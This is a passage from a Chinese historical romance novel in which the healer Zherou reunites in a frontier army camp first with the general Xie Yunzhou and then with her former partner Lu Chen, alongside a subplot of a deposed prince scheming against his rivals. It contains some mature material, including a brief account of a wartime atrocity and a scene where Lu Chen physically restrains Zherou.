周霄心一惊,也不知他家郎君自幼习武,如今不过是擦个刀而已,怎么还能把自己给割伤了,赶忙伸手要去帮他止血,“公子……” 不想周霄话还没说完,就见谢云舟霍然起身,在一旁亲卫的惊呼声中,直接从丈余高的将台上纵身跃下。 不及站稳,他便已拔足奔出,有如离弦之箭,转瞬间便冲进了雨幕里。 周霄愕然愣在原地,全然不及反应。 军营中素有严令,不得疾走喧哗。他家公子平素虽是桀骜了些,但毕竟自幼跟随国公爷长在军中,将军纪看得极重,在军中从未有过今日这般恣意妄为的模样。 谢云舟几乎是不顾一切地朝前狂奔,穿过一座座整齐而列的营帐,长靴踏碎满地白雨,激起一蓬蓬浑浊的水花。 风声猎猎,雨幕如注。雨水密集地砸落在他的轻甲上,发出连绵不绝的“叮当”脆响。 他手上的鲜血混着雨水,不住地从指尖滚落,淌成一道淡红色的细流,又转瞬消散在滂沱奔流的大雨中。 营中巡守操练的往来兵卒俱被惊得呆住,不约而同地僵在原地,愕然地朝主将望过去。 铜钱般大小的雨点抽打在脸上,生疼如同针扎,激荡起的雨雾模糊了视线,谢云舟却似浑然不觉。 耳畔的雨声、周围的注目都在这一刻消失不见,天地间万籁俱寂,他眼眶酸热,视线中唯有远处那一道朦胧熟悉的身影。 九娘。 是她!是她! 根本来不及思量,甚至忘记了要呼吸,血液在耳膜间鼓荡奔涌,越来越近,他终于急追上去,一把攥住她细弱的胳膊。 掌心传来的温度让他浑身一颤,手上几乎失了分寸,将她扯得微微一个趔趄。 折柔怔然回头。 伞面轻抬,两道目光在雨幕中骤然相接。 谢云舟立在滂沱大雨中,雨水顺着他的额发不断滚落,又沿着眉峰淌下来,流过苍白的脸颊。 长睫上的水珠慢慢渗进眼里,他却始终一眨不眨地望着她,一双漆黑俊眸紧紧地盯在她脸上,眼尾浸得通红,一时间竟分不清是雨还是泪。 折柔心脏猛然急跳,细白指尖无意识地攥紧伞柄。 谢云舟张了张唇,急切地想要说些什么,喉头却已然哽住,堵得生疼,仍旧发不出一丝一毫的声响。 她还活着。 她还活着! 折柔不想竟有如此巧合,一时还未回过神来,心下正犹疑着,腰上却骤然一紧,整个人猛地落入一个冰冷坚硬的怀抱,雨水混合着铁锈的气味一瞬扑进鼻腔。 她被那身冷硬的玄甲硌得微微作痛,本能地挣动了一下,“……鸣岐。” 听见这一声轻唤,巨大的酸楚如潮水决堤般奔涌而出,一瞬间便将他彻底吞没。 谢云舟越发收紧了双臂,低下头,把脸颊埋进她温热的颈窝里,浑身都在止不住地发抖,仿佛稍一松开,她就要消失不见。 “九娘……” 千言万语齐齐涌上喉头,谢云舟喉结剧烈地滚动半晌,最后却只化作这一声轻唤。 带着压抑不住的哭腔。 他想她啊。 日日夜夜,时时刻刻,魂牵梦萦,想了整整三年。 早已思之如骨的人此刻就活生生地站在他眼前,被他紧紧抱入怀中。 他能感觉到她温热的呼吸拂过颈侧,能触摸到她肌肤下跳动的脉搏。 他不是在做梦。 感觉到他滚烫发颤的气息,折柔一时无奈,又有些心软,终于犹豫着抬起手,轻拍了拍他的后背,温声安抚:“好啦,鸣岐。” 喉结剧烈地滚动几下,谢云舟缓缓抬起那张被雨水浸湿的脸,直直地望向她。 四目相对,看着眼前熟悉的面容,他忽觉心口抽了一下,继而砰砰狂跳起来。 一股难以自抑的狂喜陡然间从心头升腾喷涌,有如浪潮呼啸,满溢得几乎要冲破胸膛,教他眼眶发热,却又畅快无比。 谢云舟狠狠抹了把脸上的雨水,猛地收紧双臂,在众目睽睽之下,一把将她高高地抱了起来。 折柔猝不及防,惊呼一声,下意识环住他的脖颈。 “九娘!” 他放声大笑,抱着她在雨中转了好几圈。 笑声张扬肆意,清越朗朗,带着少年般的纯粹欢欣。 雨水顺着他棱角分明的脸庞淌落下来,浸染得那两道剑眉越发漆黑似墨,一双黑眸亮得惊人,熠熠如寒星,眼底只盛满了一个她。 第82章 相吻 天色如晦,寒雨瓢泼。雨点噼啪作响,急密地砸在毡皮帐顶上,又汇淌成湍急的溪流,哗啦啦地冲刷而下。 中军大帐里烧了炭盆,熏烘得帐内暖意融融。 折柔坐在火盆边取暖,身上裹着谢云舟的襕袍,衣袍宽松,软软垂坠到地上,袖子也长得不合宜,她只能松松地挽起来,露出一截纤白的手臂。 她原本的褙子和袄裙都被雨水打得湿透,还沾了他手上的血,此刻身在军营,一时间寻不出合身的女子衣物,也只得暂且这般将就。 回想起方才的情形,她仍觉得有些恍惚,仿佛是在做梦一般。 她在来的路上曾问过陈发,是否知晓军中主将的名姓。 可惜陈发只是营中最低阶的小卒,又是临时调拨过来的地方厢军,上哪儿知晓堂堂禁军主将的底细? 没想到,这世上竟当真有这般巧合。 好在,今日遇见的是鸣岐,总好过是陆秉言。 三年了。 她“死”了三年,人死如灯灭,也不知……也不知他放下了没有。 折柔垂下眼,拨了拨盆中的火炭,一时间心绪晦涩难言。 正胡思乱想着,帐帘忽然被掀开,眼前光线倏地一亮,一双浸透了雨水的墨色长靴踏进来。 谢云舟走进大帐,手里端着一碗热腾腾的姜汤,走到她身前半蹲下来,“九娘,把姜汤喝了。” 折柔接过粗瓷汤碗,看见他掌心的伤处只用细布草草地缠了两道,鲜血早已洇透布料,一片刺目的红。 她不由微微蹙了眉,“这得重新上药包扎一下。” 谢云舟却是浑不在意,漆黑的眸子一眨不眨地望着她,轻勾了勾唇角,“区区一点儿皮肉小伤,不碍事。先趁热把姜汤喝了,再有劳九娘一展身手。” 三年不见,他倒是没怎么变样,哪怕身为一军主将,还是带着点跳脱气。 折柔抿唇笑笑,捧起粗瓷碗小口啜饮。 雨声连绵不休,帐内只点了一盏油灯,光线昏暗,将两人的身影投在帐壁上,微微摇晃。 谢云舟依旧半蹲在地上,目光在她披裹的宽袍上凝定一瞬,喉结微滚了滚,又很快移开视线,抬起头,深深地看着她。 先前那阵的狂喜渐渐平息,他后知后觉地生出一股莫名的不安来,只怕眼前不过是场白日美梦。 当年的憾事太过猝不及防,她什么都不曾给他留下,以至于和陆秉言那厮比起来,他甚至连一个名正言顺的身份都没有。 教他如何不后悔? 肠子都悔青了! 这三年来,他总是反反复复地回想起曲宴上见她的那一面。 她说的那些话分明是违心的。 可恨他怎就松了手,让她教陆谌给带回去了?这些年过去,他每每想起就窝火,又悔又痛,恨不得给自己两巴掌,他那脑子怕不是让驴给踢了吧! 追娘子还要什么脸面,陆秉言那厮可是半点不要脸,强取豪夺的事都干得出来,他又作甚要脸? 折柔将将饮尽最后一口姜汤,瓷碗还未搁下,谢云舟便已伸手接过。 带着薄茧的指腹不经意擦过她的手背,温热、微糙,瞬间激起一阵细微的战栗。 空碗被随意置于一旁的案几上,磕出“当”一声轻响。 折柔心头蓦地一跳,下意识抬眼。 正撞进一双漆黑明亮的眸子里。 还未等她回过神,谢云舟的手已经覆了上来。他的手掌清瘦有力,五指修长,轻而易举就将她的手整个包拢住。 方才在大帐外头,他已知晓她是来给伤兵看诊的,也知晓她这两年来是独身,没有再寻夫家。 “今岁初春,官家立了昭儿做太孙。”喉结滚了滚,谢云舟抬头直视向她,扬唇扯出一个轻快的笑来,“等战事平定……九娘,往后你想去何处,带上我一道,成么?” 折柔一怔,心脏蓦地急跳了两下。 她当然明白他的意思,如今太孙已立,他离了天家羁绊,从此一身自由,大可做个寻常百姓,就如同当年和她在燕子坞时一样。 可今日乍然重逢,一切事出太过仓促,她心乱如麻,直到此刻也不曾想好往后该当如何。 见她愣神,谢云舟倾身靠近了些,伸出手,轻轻抚上她的脸颊,涩哑出声:“九娘……” 方才校场之上,暴雨如注,雨帘密集得几乎遮蔽视线,她手里撑着伞,身影在数十丈外已是模糊难辨,明明只要再慢上几步,她就会走出辕门,转身不见。 但他就是一眼认出了她。 失而复得,在看到她的那一瞬,经年的渴念便再也无法自抑。 他也不打算再抑制。 三年过去,没人能比他更清楚——这天底下的女子千千万万,可他谢鸣岐,就是非宁九娘不可。 “从前是我年少不经事,一切都是我不好。往后断不会再教人强迫于你,他陆秉言来了也不成。九娘,今日你我在此重逢,是天意难得,老天赏我的机会,就让我留在你身边……好不好?” 折柔眼睫轻颤,抬起头看他。 视线相接。 青年的面容英挺俊朗,眸光专注,一如当年般赤诚纯粹,有魂有魄,此刻倒映着炭盆的火光,小小的两簇金芒,裹着她的倒影轻轻跃动。 帐内一片寂静,偶有炭火噼啪作响。 折柔忽觉心跳有些急乱,想要退缩,却又不知该如何作答。 谢云舟喉结微滚,手掌捧住她的脸颊,试探着缓缓倾身靠近。 灼热的呼吸落到她的面颊上,混杂着雨水、皂角和伤药的味道,独属于青年男人的气息,如同暗流涌动,四面八方地朝她包拢过来。 怔忪之际,眼前光线一暗,唇上忽然覆下一片温软。 折柔呼吸倏地一滞。 不知是没有回过神,还是因为旁的什么,总之,她没有抗拒。 察觉到这一点,谢云舟忽而便有些失控,唇齿间还吻得青涩,只依循着本能辗转入深,手上却不自觉地用了力,紧紧抚着她的脸颊,隐约有种想将她融进掌心的冲动。 折柔被他突如其来的强势惊得微微后仰,却被他另一只手稳稳攥住。 带着薄茧的指腹抚过她细嫩的手臂,掌心缠裹的细布带起些许粗粝的触感,曾经有过的亲密记忆如温暖的春水般漫浮上来,两个人的心头俱是一颤。 雨水噼里啪啦地砸在帐顶,大帐中光线黯淡,隐约照亮彼此模糊的轮廓。 方寸之间,唇舌交缠。 软热、濡湿,姜汤的辛辣被一点一点抿进去,在彼此的舌尖上化开,鼻息交织急促,早已分不清是他的还是她的。 折柔只觉身旁的炭盆烧得太旺,教她背上沁出了层薄汗,心头也隐约泛起一片燥热,渐渐有些喘不过气来。 攥着他衣襟的指尖微微发颤,她终是受不住这般亲昵,推了推身前人劲实的胸膛,呜咽出声:“鸣岐……” 谢云舟微微一僵,骤然停下,轻喘着,低头去寻她的眼睛。 折柔匆匆抬眸看了他一眼,正瞧见他薄唇上沾染的那点湿润,立时有些不自在地别开视线。 她蹙了蹙眉,掂量半晌措辞,终于开了口,声音很轻,却不再迟疑,“鸣岐,这两年我一人在外过得很自在,这种日子我很喜欢,也已经习惯。至于往后要如何……眼下我还不曾想好。” 谢云舟闻言一怔,随即扬起唇角,自嘲地轻笑了下。 他伸手把人揽进怀里,轻声哄:“是我不好,九娘。你别怕,我等着你就是了。” 这么多年都已经熬过来,再等一等又能如何。 左右他比陆秉言那厮更早遇见她,嘿,这不就已经占了先机么? 帐外忽然传来一阵脚步声。 随即,周霄的声音在帐门外响起:“公子,九娘子要的犀角已经研粉备妥了,可要直接入药煎服?” 谢云舟闻声看向折柔。 折柔忙站起身子,稍稍理了理衣襟,朝外应了一声,“拿过来吧,我这便煎药。” 周娘子家那官人的伤处化脓生疡,人也高热烦渴,显见是热毒炽盛,内蕴攻心,必得用些凉血解毒的良药急救才行,也只有犀角的效用最好。 但犀角稀贵,价比真金,寻常人家哪里能买得起,即便军中也不会为个小卒花费这等银钱。 她本打算多用几倍的水牛角将就着一搏,没想到遇见了谢云舟,这等贵重药材,于他而言倒是算不得什么。 这剂犀角汤药下去,只要不出什么差错,周家娘子夫君的命,多半有望保住。 周霄动作麻利,很快便将她要的草药全都送了过来。 眼见外面雨势未减,折柔索性半撩起帐门,在帐中支起小炉,生火煎药。 谢云舟正想帮忙搭把手,麾下的偏将却冒着雨急寻过来,上前道:“郡王,前线急报!” 谢云舟点点头,转而看向折柔,“有事吩咐周霄,我去去便回。” 折柔抬头笑笑,应了声好。 谢云舟一直忙到晚间才回,还带了一盘烤得喷香、切成小块的羊腿肉,邀功似的给她递过来,“九娘,快来尝尝味道。” 折柔素来喜食羊肉,只一闻便知这是品质上佳的羔羊肉,不由抬起脸笑笑:“好香。” 谢云舟嘴角不自觉地上扬,递过一柄精巧的银刀,下颌朝肉盘的方向轻抬了抬。 折柔接过刀柄,叉起一块羊肉送入口中。 果不其然,肉质鲜嫩多汁,香而不膻,粗盐的咸香愈发衬出羊肉本真的甘甜。 “如何?”谢云舟眼巴巴地看着她,“常言道‘好肉一把盐’,整条羊腿上就用了这点料。” 折柔点了点头,眉眼间盈满真切的笑意:“好吃。”接着又低下头,叉起来一块,细嚼慢咽。 炭火噼啪作响,将她半边脸庞映得忽明忽暗。 谢云舟垂眸,凝视着她柔和温婉的侧脸,犹豫半晌,还是开了口:“九娘,傍晚时有陆秉言的消息……” 折柔心头忽然不受控地一跳,咀嚼的动作不觉慢下来,片刻,强作镇定地将最后一块羊肉咽下。 谢云舟看着她的脸色,继续道:“河州战事已定,羌人残部大多归顺,我爹那头已经下了令,等到肃清余孽,彻底稳住局势,不出俩月,陆秉言便要率主力来此,与我合军齐攻灵州。” 折柔动作一顿,僵住身子,握着银刀的指尖微微发颤。 谢云舟咬了咬牙。 他和陆谌毕竟是二十多年的兄弟,哪怕下狠手打了几架,也当真撕破过脸皮,可到底还是有份情谊在。 “他……”谢云舟喉结滚了滚,终究压下那点私心,向她坦诚交待:“他这几年,也不好过。” 大约只剩半条命了。 “九娘,你还活着的事……打算教他知晓么?若是不想见,我便让周霄送你出去避一避。” 第83章 动容 折柔沉默地放下手中银刀,半晌没有应声。 方才还觉得鲜嫩甘美的羊肉,此刻哽在喉间,倒是失了滋味,仿佛嚼蜡。 她张了张唇,想问他究竟如何不好,如今又是个什么样的光景,可话在舌尖转了一圈,又咽下去。 爱也好,恨也罢,早都过去了。 他还活着,至于其他的,都同她没有干系。 至于想不想见,她自然是不想见。 可白日里她和鸣岐在校场相认,那动静实在不算小,众目睽睽之下,只怕已是在营中传开了。 何况她还要给周娘子的夫君看诊,更少不得在此处多留些时日。 军营里人多嘴杂,以陆谌心性之敏锐,就算瞒得过一时,又能瞒得过一世么? 倘若教他察觉出什么端倪,鸣岐势必要替她隐瞒行踪。大战在即,两军主将却心生嫌隙,万一引出什么风波,又该如何平息。 谢云舟瞧着她的脸色,隐约猜出她几分心思,不由扯唇笑道:“九娘,你别多想。这可是我辖下之地,我当然有法子周全,你不能总是长他陆秉言的威风,灭我的志气吧。” 听他语气好生轻快,折柔抿唇笑笑,打定了主意,“总归还有些时日,等那边大军开拔后再说罢。” 谢云舟便也轻笑起来,没再多说什么,只将剩下的烤羊肉又往她面前推了推。 — 上京,宗正寺后角门。 徐有容提着食盒,紧紧跟在看守的解差身后,一路穿过幽长的夹道,两侧高墙投下的阴影越来越深浓,直到光线晦暗得所剩无几,终于走到那处漆皮斑驳的院门前。 “殿下,有位小娘子前来探望。” 解差扬声通报后,上前除了门上铜锁,比了比手,将她引入院内。 秋雨连绵着下过几场,气候渐渐转寒,这处小院本就粗陋陈腐,被冷雨浇透几回,愈发逼仄潮湿,荒凉不堪。 院中弥漫着一股潮湿的霉味,石阶上爬满青苔,屋檐下的蛛网沾了水珠,在冷风中轻轻颤动。 李桢闻声精神一振,撑着桌案站起身来,拖着右腿走到门口。 徐有容赶忙上前搀扶,笑着招呼:“姐夫,阿姐染了点风寒,身上还没大好,特意让我代她来给你送些吃食。” “有劳容娘跑这一趟了。”李桢温和地笑笑,借着侧身的当口,压低了声音,“如何,元恩那边有消息送来?” 元恩本是禁中的一个小内侍,多年前曾受过徐有容的一饭之恩,如今跟在随军安抚使孙宪的身边侍奉,有这样一份前缘在,这两年来一直在帮她牵线搭桥,疏通门路。 徐有容点点头,悄悄瞥了眼院门外的解差,一面装作给他瞧盒里的饭食,一面借着身形遮掩,从食盒底层抽出一张纸塞过去,“听说,周先生近来很得安抚使青眼,刚送了消息过来。” 李桢不动声色地接过来,借着袖笼遮掩,迅速地扫过一遍信上内容。 官家钦点胥国公为帅,那谢家父子和陆谌算是结成了铁板一块,他本就落魄失势,大军之中愈加插不进手,好在还有内侍孙宪随同监军。 像孙宪那等六根不全的刑余之人,眼里只有黄白之物,这两年来经由元恩帮忙周旋打点,数不清的银钱珍玩如流水般送过去,总算打通了这条门路。 如今他借着这层关系,将心腹的幕僚安插到孙宪身边当差,算是在大军中埋下一枚暗棋。 他自然明白,区区一个幕僚,于战事而言,着实不甚紧要。 可万一呢。 万一这沙场上刀剑无眼,关键时刻的一着棋子,未必不能教他谢鸣岐落个马革裹尸的下场。 李桢无意识地攥紧了手中薄纸。 凭什么他废了一条腿,被圈禁在这鬼地方不见天日,而那野种却能享尽恩宠,在外建功立业,好生风光! 凭什么?! 李桢沉吟片刻,低声吩咐:“回去告诉周昌,让他继续在孙宪耳边吹吹风,多讲讲前朝王贯是如何以内侍之身得封郡王的。 胥国公年过五旬,旧伤缠身,万一在这战事吃紧的关口染个风寒病倒……那攻破党项收复失地的首功,自然就落到他孙宪头上了。” 徐有容听懂他话中的阴狠之意,心头不由一颤,犹豫着嗫嚅,“姐夫……姐夫,这会不会……” 李桢斜眼睨来,唇角扯起一抹讥诮冷笑:“怎的,难不成你和你阿姐的家仇不想报了?眼睁睁看着陆谌立下军功,风风光光回京受赏,你就甘心了?” 想起爹爹和阿娘,徐有容暗暗掐紧了掌心,恨意一瞬漫上心头,“自然不甘心。” 李桢冷嗤一声,眸光愈发阴鸷,“那便莫要废话,回去照办就是。” 左右都已经到了这个境地,即便再罪加一等又能如何? 如若不将那野种送入黄泉、不让他那偏心的好爹爹尝尽白发人送黑发人的滋味,实难泄他心头之恨。 就算事败身死,也好过如今这般窝窝囊囊地活下去。 — 那日服下一剂犀角汤后,周家娘子夫君的伤势虽略见好转,却仍是凶险,时有高热。 既是受人之托,折柔放心不下,索性留在军营中日夜看护,时时诊脉调方。 谢云舟军务缠身,大多时候不在,但若是得了闲,定会来寻她一道用饭,说上几句话。 转眼匆匆一月过去,反复换过几次方子,精心调理之下,周娘子夫君的伤情总算大好。折柔诊过脉象,将将松了一口气,忽听帐外一阵高声喧哗。 走出帐外,就见谢云舟带人回营。 两军对垒,时常有些小股的试探交锋,眼见那张俊容上尘血未擦,愈发显出几分桀骜野气,折柔不由一惊,“你伤着了?” 谢云舟扬唇一笑,“是獠子的血。” 难得周霄这般兴奋,声音都拔高了几分,“九娘子有所不知,公子今日外出巡哨,好巧不巧,正撞上党项的右将军!那帮獠子不敌要逃,但被弟兄们追上全歼,可是狠狠挫了他们的锐气,痛快!” 夜里庆功小聚,营中点起篝火,谢云舟亲自起了泥封,将一坛坛好酒传给麾下将士,兵卒们三三两两地围着火堆饮酒谈笑,好不热闹。 连日来一直牵挂着周娘子夫君的伤势,如今总算能放下心来,折柔心情松快,也跟着喝了几口。 可军营里到底都是些粗人,酒过三巡,众人渐渐口无遮拦起来,时不时地冒出些浑话。 谢云舟听得耳热,不大自然地轻咳一声,偏头看向折柔,“我带你去帐外散散酒气,如何?” 折柔也有些不自在,会意地点点头,起身离席。 一路往营帐后的山坡走去,将士们粗豪的笑闹声和篝火的亮光都渐渐隐没进浓重的夜色里。 折柔寻了处草厚的地方,谢云舟解开外袍垫在地上,两个人并肩坐下来。 平野星垂,月色醉人,四下里蒿草茫茫,草尖随风摩挲着她的手背,痒梭梭,湿凉凉。 听见军营里隐约传来断续的筚篥声,谢云舟心随意动,信手扯了片草叶,放到唇边吹出一段小调。 一曲终了,他挑眉看向折柔,忍不住向她显摆,“好听么?” 陆秉言那厮可不会这个。 “好听。”折柔笑意盈盈,酒意上涌,颊边微有些发热,“从前不知你还会这个,小郡王深藏不露,倒是我失敬了。” 谢云舟听出她话里的调侃,扯唇一笑:“我说九娘,你这是夸我呢,还是损我呢?” “自然是夸你。”折柔笑了笑,抬手轻轻将散落的发丝挽到耳后,侧眸看了他一眼,温声道:“近来常有小胜,怎么今日这般高兴?” 谢云舟转头看向她,“你听说过‘铁鹞子’么?” 折柔指尖微微一顿。 她恍惚记得陆谌曾同她提起过。 若没记错,那是党项人的一支重甲精骑,人马皆披冷锻重甲,战力极强,凶名传遍北疆。 谢云舟看出她有一瞬的恍神,顿时暗骂自己犯蠢,索性直接调开话头,“那支铁鹞子军的头领生性残暴,比畜生都不如。当年灵州城破,那贼獠曾把掳来的少女剖腹取肠,用她们的肠子系在城头,再把人从城上扔下去,管这个叫‘美人风筝’。” 简直骇人听闻,折柔听得心头猛地一颤。 停顿片刻,谢云舟扬唇笑道:“今日死在我箭下的獠子,正是那畜生的亲儿子。” “河湟一带,自古就是水草最为丰茂的马场,却让这群獠子窃据了上百年,也是时候该还给咱们了。 当年胡獠笑我大周不擅骑兵马战,如今我偏要放马河湟,让咱们大周的战马也尝一尝,这儿的野草是个什么滋味。” 青年的面容清俊硬朗,眉宇间意气张扬,清亮的月色倾泻而下,流转在那双寒星般的俊眸里,映出这一片天地山河。 折柔侧眸凝望了片刻,不自觉地弯起唇角,轻声道:“鸣岐,祝你早日得偿所愿。” 闲坐半晌,夜色渐转深浓,露重风冷。 也不知到了什么时辰,谢云舟瞧出她醉得困意上涌,眼皮发沉,索性蹲到她身前,反手一揽,直接将人背了起来。 “来,我背你回去。” 折柔尚未来得及回神,整个人便已稳稳地落在了他的背上。 她下意识地轻呼一声,谢云舟顿时低笑出声,笑声隔着胸膛传过来,带起一阵嗡嗡的震颤。 折柔本就困得迷朦,伏在他劲阔温暖的脊背上,鼻息间满是熟悉干净的皂角香,忽觉说不出的安心,便也不再挣动。 不觉间眼皮沉沉合上,呼吸逐渐变得绵长均匀。 感受到颈侧温热的吐息,谢云舟忍不住扬唇笑起来,小心翼翼托住她的腿弯,将人又往背上带了带,脚下越发沉稳,慢慢地朝营中走去。 行至辕门,值守的两名长行正要行礼,却见谢云舟微微摇头,示意他们休要作声,而后若无其事地背着人穿过辕门,只留下两个长行在原地你看看我,我捅捅你,面面相觑,惊掉了一地的下巴。 折柔一觉醒来已是天色大亮。 谢云舟许是又有军务要忙,营中不见他的踪影。 折柔知晓他事忙,梳洗停当后便径直去往伤兵营,仔细挑拣了半日的草药,打算制成方便携带的丸药或是药散,再分发给军中的诸多将士。 炮制药材需得格外仔细,稍有不慎便会折损药效,折柔这一忙便忙到了傍晚,眼见着天色逐渐黯淡下来。 她后知后觉地感到腹中饥饿,正要起身寻些吃食,忽听帐外传来一阵焦急的唤声。 “九娘子!九娘子可在?” “将军旧伤发作,疼得厉害,还请娘子快去瞧瞧!” 是中军帐前押班的声音。 折柔一愣,不知谢云舟何时竟得了这毛病,一时间却也不及多想,匆忙搁下手中的药材,从医箱里翻出银针,疾步赶往中军大帐。 伤兵营距中军大帐颇有一段距离,折柔跟着押班穿行在营帐之间,脚下的沙土被踩得簌簌作响,身上渐渐沁出一层薄汗。 又转过两个弯,远远就见大帐外有人影晃动,夜色中瞧不清样貌,像是几个新调来的陌生护卫,正焦躁得来回踱步。 其中一人见押班回来,眼神倏地一亮,急忙迎上前去,“如何,军医寻到了么?” “来了来了!” 押班赶忙侧身让路,撩起帐帘,比手请折柔入内。 暮色沉沉,四下里的夜色渐浮上来,已近戌时,大帐里却没有掌灯,周遭光线黯淡模糊,仿佛笼着一团墨色薄雾,什么都瞧不真切。 隔着一道竹屏,折柔隐约看见矮榻上蜷缩着一个人影,背脊清瘦,正不住地发着颤,喘息声压抑断续。 心头骤然一紧,她匆匆绕过屏风,走到榻前,“鸣岐,你怎……” 话未说完,折柔整个人如遭雷殛,生生僵在了原地。 早已熟悉得刻入骨血,即便时隔三载,即便天光晦暗,可她还是一眼就认出那榻上的人—— 是陆谌! 怎会是陆谌?! 他怎会突然出现在这里?! 她还不曾听闻河州大军开拔的消息! 折柔心神恍惚,指尖不自觉地掐入银针布囊,连呼吸都屏住了。 大帐内陷入一片寂静,陆谌似是有所察觉,身子微动了下,缓缓睁开双眼,抬头朝她望过来。 四目相对。 折柔惶然地睁大了双眼,本能地想要后退逃开,脚下却分毫不听使唤,整个人死死定在原地,背上的汗毛一根一根地竖起来,心脏突突急跳,耳畔嗡鸣不止。 幽黑深邃的目光落在她面上,陆谌迟疑地打量了她半晌,嘶哑着唤了一声,“妱妱?” 第84章 爱恨 乍然重逢,折柔心头惊骇,一时间不知要如何应对,脚下像生了根,只能钉在原地,任由他打量。 两个人距离太近,她就站在榻前,甚至能闻到他身上传来熟悉的气息和金创药的淡淡苦味,丝丝缕缕地往鼻间扑钻。 心脏越发抽紧,胃里隐约一阵翻搅。 陆谌似乎是疼到极处,反应已经变得异常迟缓。 大颗大颗的汗珠从他额前滚落下来,顺着眼睫渗进眼中,浸得那双眉目愈发漆黑深邃,可眼神却迷茫散乱,不似往日般清明锐利。 折柔和他对望了半晌,见他再没有其他反应,一直紧绷着的心弦终于稍稍放松,重又恢复了镇定。 缓缓地吐出一口气,她刚要出去唤军医过来,却忽然听见榻上的人哑声开口。 “妱妱……” 陆谌微微抬起头,涣散的目光游移在她颈后,声音干涩费力,“……你的发带呢?” 折柔闻言一愣。 她平日里用来束发的那条丝绦太长,一直垂坠到肩上,先前挑拣草药时不甚方便,她便索性多缠了两圈,将丝绦仔细盘进了发髻里。 却不明白他为何突然问起这个。 “海棠色那个……”似是见她不解,陆谌低低地喘了两口气,哑声道:“昨日乡集上买的,不喜欢么?” 折柔呆呆怔住。 过去的这三年间,她不是没想过万一哪日撞见陆谌,将会是个什么情形,既心存侥幸,暗暗盼着他已经释怀放下,又克制不住地害怕他会恨怒发疯。 却无论如何也不曾想到,他竟会是神智昏沉,误以为他们还在多年前的洮州乡间。 一股难以名状的滋味蓦然涌上心头,折柔看着榻上支离憔悴的青年,好半晌,紧握着银针布囊的手渐渐松开,无力地垂落到身旁。 筋骨清瘦的一只手自榻间探过来,攥住她垂在身侧的手腕,轻扯到自己身前。 陆谌闭着眼偏过了脸,将额头抵在她柔软的掌心里。 热涔涔一片汗湿。 折柔仿佛被什么烫到,指尖一瞬微蜷。 下一刻回过神,她本能地想要把手抽出来,却又听见陆谌低声呢喃,“妱妱……我疼……” 他精神恍惚,或许都不知道自己在说什么,只当是从前还在洮州的时候,膝伤未愈,凭借着本能,求她怜惜。 折柔抿了抿唇,半晌,目光不自觉地落在他蜷曲僵硬的左膝上。 虽还不知他为何突然现身于此,但大抵是有什么隐秘的军务。 深秋时节阴雨连绵,夜冷露重,他多半是冒雨受寒后仍旧逞强疾驰,以至捱到此刻终于支撑不住,却又不能大肆声张,怕动摇战前军心。 折柔眼睫低垂。 陆谌埋头抵着她掌心,似是察觉到她要离开的意图,攥住她手腕的五指一瞬收紧,带着几分慌乱,“别走!” 腕上被他抓得有些生疼,折柔不由蹙眉,“……松手。我不走,是给你治伤。” 陆谌迟缓地抬起头,涣散的眼神在她脸上游离不定,也不知听懂了没有,好半晌,紧扣的指节总算一点一点松开。 折柔取来一盏油灯照亮。 大抵是因为强自忍痛,陆谌右手仍死死扣按在膝头,手背青筋狰狞暴起,五指深深陷入皮肉,已然掐出了血来,在衣料上洇出几团血晕。 见状,折柔心下微沉,蹙眉轻斥:“陆秉言,你松开。” 陆谌早已疼得神思不清,迷茫间只能恍惚分辨出眼前的人是她,呆怔片刻,倒是当真听话地松了手。 折柔在榻边放下烛台,伸手将他的裤管慢慢捋卷上去,就见他左膝已经僵得不能打直,指尖轻轻按动,便能听到骨擦的咯吱声。 这一遭显是发作得凶急,比以往都严重非常。 她也不再多言,径直取出银针,迅速地在他腿上犊鼻、委中、血海和梁丘几处穴位下了针。 针灸后再熏艾敷姜,前后折腾了快两炷香的工夫,剜肉剔骨般的剧痛终于有所缓解,陆谌紧绷的身子慢慢放松下来,眼皮沉了沉,似是在疲乏中昏昏睡去。 大帐内,唯余铜壶滴漏的声响,伴着他渐趋平稳的呼吸。 折柔松了一口气。 如此最好,就让他全当是做了一场梦。 也算是容她缓和一下,等鸣岐巡营回来再做打算。 当下丝毫不再多留,她抬手擦了擦额上沁出的薄汗,收好银针,起身便往帐外走。 绕过竹屏,走到帐门前撩起毡帘,刚刚迈出大帐半步,身后忽然传来“砰”一声巨响,像是有什么东西被撞倒。 折柔一愣,还没来得及回头,腰间便猛地一紧。 陆谌竟不知何时清醒过来,翻下床榻,扑倒屏风,如同负伤逐猎的野兽,趔趄着三两步追到近前,伸臂狠狠锢住她的腰肢。 疲痛交集,他的神经早已倦怠到极处,却偏偏于混沌中强挣出一线清明,猛然察觉到异样。 双脚将一触地,膝头便陡然传来一阵锐痛,如同利刃剜骨,几要教他吃不住力,可即便是锥心刺骨的痛楚,也分毫抵不过此刻滔天的渴念。 折柔心头突突一阵狂跳,本能地扭身挣扎,却被他大力地从后一捞,整个人踉跄着倒退半步,后背重重撞上一个汗湿坚硬的胸膛。 大帐里光线熹微黯淡,眼前视线一片模糊,陆谌呼吸急促地颤抖着,埋头嗅过她颈间的香气。 ……是她。 是她的气息,不会错。 一别三载,相逢犹恐在梦中。 冰凉硬挺的鼻梁蹭过颈间细嫩的肌肤,整个人被无比熟悉的男子气息包拢住,折柔猛地打了一个激灵,心头发慌,拼命挣扎起来,“松手!放开!” 腰间却反被箍得更紧,像是要将她生生攥碎。 下一瞬,陆谌扣住她的肩头,强硬地将她扳转过来,迫着她同他对视。 折柔脸上血色褪尽,心跳急骤如鼓。 彼此的呼吸交缠在咫尺,他脸上还带着伤后未愈的苍白,幽黑的一双眼,沉得几乎映不出她的倒影。 “陆秉言……你……” 折柔颤着声,话未说完,陆谌忽而单臂挟住她的腰肢,一把将她拦腰抱起,转身送去身后的榻间。 从前的阴影一瞬袭来,折柔浑身一僵,随即惊慌地挣扎扭动,竭力想要从矮榻上起身,“陆谌你做什么!放开我!松开!” 陆谌却恍若未闻,单手便轻易将她制住。隔着一层衣衫,那只手准确无误地按在她右肩的旧疤上。 下一瞬,长指不容分说地探入她的衣襟,指腹冰凉粗粝,擦过肌肤,激得她一瞬泛起战栗。 入了夜,帐中却没有置炭盆,寒意沁人。折柔还未反应过来,右肩便已倏地一凉,衣衫教他剥开,露出圆润柔白的肩头,在昏黄的烛光下轻轻颤动。 只怕他又要发疯强来,折柔心头大惊,抬脚便要踹向陆谌膝上的伤处,却见他再无过分举动,只是缓缓地低下头,借着榻边那盏油灯的光照,凝视着她肩上那道被浮冰划伤后留下的浅疤。 